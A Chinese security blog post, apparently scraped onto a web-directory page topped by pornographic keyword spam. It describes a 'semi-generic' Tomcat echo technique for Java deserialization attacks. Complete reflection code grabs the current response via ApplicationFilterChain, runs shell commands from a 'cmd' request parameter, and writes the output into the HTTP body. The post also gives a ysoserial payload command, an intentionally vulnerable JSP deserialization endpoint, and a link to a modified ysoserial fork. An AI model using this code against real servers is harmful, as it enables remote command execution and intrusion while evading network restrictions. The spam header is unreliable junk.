日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

前段時間和@lufei 大哥學習了一波linux下基于文件描述符的反序列化回顯方式的思路。

在自己實現的過程中發現,是通過IP和端口號的篩選,從而過濾出當前線程(也可以說是請求)的文件描述符,進而加入回顯的內容。

但是同時也有一個疑問,我們使用回顯的目前主要是因為一些端口的過濾,一些內外網的隔離。從而將一些無法從別的途徑傳輸的執行結果,通過http請求的方式,附加在原本的response中,從而繞過一些防護和限制。

以個人的理解,在這種情況下,大概率會有一些負載均衡在真正的服務器前面,這樣服務器中顯示的ip和端口都會是LB的信息,這種篩選的方式也就失效了。

當時的想法也是如果能直接獲取到當前請求的response變量,直接write就可以了。但是對Tomcat不是很熟悉,弄了個簡易版適配Spring的就沒后文了。

最近又在社區中看到一個師傅發了這個Linux文件描述符的回顯方式,評論處也提出了如果能直接獲取response的效果會更好,于是就開始試著找了下如何獲取tomcat的response變量。

https://xz.aliyun.com/t/7307

尋找過程

這里起的是一個spring boot,先試著往Controller里面注入一個response

Tomcat中一種半通用回顯方法

 

為了確保我們獲取到的response對象確實是tomcat的response,我們順著堆棧一直往下。

可以發現request和response幾乎就是一路傳遞的,并且在內存中都是同一個變量(變量toString最后的數字就是當前變量的部分哈希)

Tomcat中一種半通用回顯方法

 

這樣,就沒有問題,只要我們能獲取到這些堆棧中,任何一個類的response實例即可。

接下來就是找哪里的response變量可以被我們獲取,比較蛋疼的是,每個函數都是通過傳參的方式傳遞的response和request。

那這樣的話,在這過程中request和response有沒有在哪里被記錄過,而且為了通用性,我們只應該尋找tomcat部分的代碼,和spring相關的就可以不用看了。

而且記錄的變量不應該是一個全局變量,而應該是一個ThreadLocal,這樣才能獲取到當前線程的請求信息。而且最好是一個static靜態變量,否則我們還需要去獲取那個變量所在的實例。

順著這個思路,剛好在 org.Apache.catalina.core.ApplicationFilterChain 這個類中,找到了一個符合要求的變量。

Tomcat中一種半通用回顯方法

 

而且很巧的是,剛好在處理我們Controller邏輯之前,有記錄request和response的動作。

雖然if條件是false,但是不要緊,我們有反射。

Tomcat中一種半通用回顯方法

 

這樣,整體的思路大概就是

1、反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT ,讓代碼邏輯走到if條件里面

2、初始化 lastServicedRequest 和 lastServicedResponse 兩個變量,默認為null

3、從 lastServicedResponse 中獲取當前請求response,并且回顯內容。

寫的過程中也學習了一下怎么通過反射修改一個private final的變量,還踩了一些坑,總之直接放上最后的代碼

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    JAVA.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

原本Contorller代碼的邏輯是輸出input部分的內容,我們所做的就是在原本的輸出內容前面,添加cmd參數執行之后的結果。

Tomcat中一種半通用回顯方法

 

需要刷新兩次的原因是因為第一次只是通過反射去修改值,這樣在之后的運行中就會cache我們的請求,從而也就能獲取到response。

加入ysoserial

這樣,這樣只要稍加改造一下,擦去泛型的部分,用完整的類名代替原本的類名,就可以放入到ysoserial中。

中間莫名又踩了一些坑,嫌麻煩的師傅可以直接用已經改好的版本。

https://github.com/kingkaki/ysoserial

ysoserial的第二個參數是要執行的命令,由于這里可以直接從request獲取,自由度更大,所以我將第二個參數改成了要執行的命令的param。

以 CommonsCollections2 為例,如下的方式就相當于創建了一個從cmd參數獲取要執行的命令的payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

測試一下別的tomcat環境,以jsp為例,確保有 commons-collections4 的依賴

然后自己構造一個反序列化的環境

<%
try {
	String input = request.getParameter("input");
	byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

可以看到內容成功的追加到了輸出的body中。

Tomcat中一種半通用回顯方法

 

一些局限性

回到標題,為什么是一個半通用的方法呢?

當時構造好了之后興匆匆的跑了一波shiro的反序列化,死活不成功,debug了很久之后發現了一個問題。

shiro的rememberMe功能,其實是shiro自己實現的一個filter

在 org.apache.catalina.core.ApplicationFilterChain 的 internalDoFilter 中(省略一些無用的代碼)

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
		...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

可以看到是先取出所有的的filter對當前請求進行攔截,通過之后,再進行cache request,再從 servlet.service(request, response) 進入jsp的邏輯代碼。

Tomcat中一種半通用回顯方法

 

rememberMe功能就是ShiroFilter的一個模塊,這樣的話在這部分邏輯中執行的代碼,還沒進入到cache request的操作中,此時的cache內容就是空,從而也就獲取不到我們想要的response。

最后

ysoserial中所有用 createTemplatesImpl 生成payload的鏈都已加入了Tomcat回顯的模式。

https://github.com/kingkaki/ysoserial

  • CommonsCollections2TomcatEcho
  • CommonsCollections3TomcatEcho
  • CommonsCollections4TomcatEcho

感覺也不僅限于反序列化吧,一些擁有java代碼執行的場景都通過這種方式,實現Tomcat的回顯。

比較蛋疼的一點就是一些filter中執行的代碼不適用,就很可能不適用于很多框架型的漏洞,但是對于開發任人員寫的Controller中的場景應該都是可以的。

技術比較菜,如果有師傅發現了更好的利用方式,或者一些文章中的疏漏,都可以一起探討。

來源:https://www.tuicool.com/articles/ymAnErB

分享到:
標簽:Tomcat
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定